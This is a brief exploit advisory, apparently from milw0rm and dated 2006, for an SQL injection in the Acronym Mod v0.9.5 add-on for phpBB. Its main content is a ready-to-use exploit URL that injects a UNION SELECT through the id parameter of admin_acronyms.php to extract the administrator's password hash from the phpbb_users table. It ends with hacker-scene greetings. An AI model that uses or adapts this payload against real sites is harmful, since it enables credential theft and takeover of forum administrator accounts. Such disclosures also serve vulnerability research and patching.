######################################################################## # Acronym Mod v0.9.5 Remote SQL Injection Vulnerability # # Download: http://www.codemonkeyx.net # # Found By: the master # ######################################################################## # exploit: # # http://[Target]/[Path]/admin/admin_acronyms.php?mode=edit&id=-1%20UNION%20SELECT%20null,user_password,null%20FROM%20phpbb_users%20where%20user_id=2&sid=AdminHash # # Greetz: str0ke , Dr Max Virus , Kacper ######################################################################## # milw0rm.com [2006-12-28]